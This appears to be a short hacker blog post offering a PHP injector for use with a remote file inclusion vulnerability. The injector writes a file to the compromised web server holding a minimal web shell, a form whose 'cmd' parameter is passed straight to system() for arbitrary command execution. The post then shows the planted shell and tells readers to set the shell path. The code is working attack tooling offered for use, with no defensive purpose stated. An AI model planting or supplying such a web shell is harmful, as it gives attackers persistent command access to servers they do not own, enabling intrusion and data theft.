RFI PHP Webshell Injector

Sometimes you just need a quick PHP webshell to complement your RFI vulnerability you’ve uncovered.  There are plenty of “fancy” ones with lots of features, but I prefer simple, effective, command-line equivalent access any day.  If you’re of that persuasion as well, just use this as the target of your RFI to give yourself Hermit’s Stupidly Simple WebShell (HSSWS).  Enjoy!

Don’t forget to modify the shell path!

 $shellCode="<HTML><BODY>\n<FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\">\n<INPUT TYPE=\"text\" NAME=\"cmd\">\n<INPUT TYPE=\"submit\" VALUE=\"Send\">\n</FORM>\n<pre>\n<? if(\$_GET['cmd']) { system(\$_GET['cmd']); }?> \n</pre>\n</BODY> </HTML>";
 file_put_contents($newShell, $shellCode);

The resultant file will contain this simple shell (on the webserver that processed the above):

<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
<? if($_GET['cmd']) { system($_GET['cmd']); }?>